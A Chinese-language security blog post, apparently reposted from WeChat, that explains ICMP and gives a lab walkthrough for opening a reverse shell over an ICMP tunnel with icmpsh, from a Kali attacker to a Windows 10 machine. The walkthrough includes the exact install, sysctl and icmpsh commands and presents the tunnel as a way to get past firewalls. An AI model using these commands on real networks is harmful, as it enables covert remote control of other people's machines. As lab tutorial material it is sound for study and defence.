ICMP协议工作方式简介
Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。ICMP隧道
最常见的ping命令就是利用的ICMP协议,使用该协议反弹shell,两台机器不需要开放端口,ICMP隧道简单好用。ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。实验环境
Kali 192.168.0.199 win10 192.168.0.77
kali安装icmpsh
git clone https://github.com/inquisb/icmpsh.gitKali安装icmpsh的依赖包
apt-get install python-impacket这里踩了个坑,装不了好像,然后用了下面的方法安装
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。sysctl -w net.ipv4.icmp_echo_ignore_all=1
(用完记得把他改回0)
Kali执行操作:python icmpsh_m.py 本机ip 目标ip
Win10直接icmpsh.exe -t 攻击机ip
Kali就可以接收一个icmp反弹回来的shell
接收到了,但是有点乱码。。又是一个坑。。
解决方法是,去目标机输入CHCP 65001
输入后再重新执行
解决了
Emm。。实际上,弹了shell后在shell里执行也是可以的。。上面纯粹多此一举。。
文章仅供学习参考,过程也是利用本地虚拟机演示,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者和本公众号无关。
注:如有侵权请联系删除
文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247495650&idx=2&sn=f3871c182e7012ee2426b4d43aac5657&chksm=ce64bc87f91335914f79200322ca299c53681c2a2d1d77cf013a0b9214fd6260ba63bf1b1efb#rd
如有侵权请联系:admin#unsafe.sh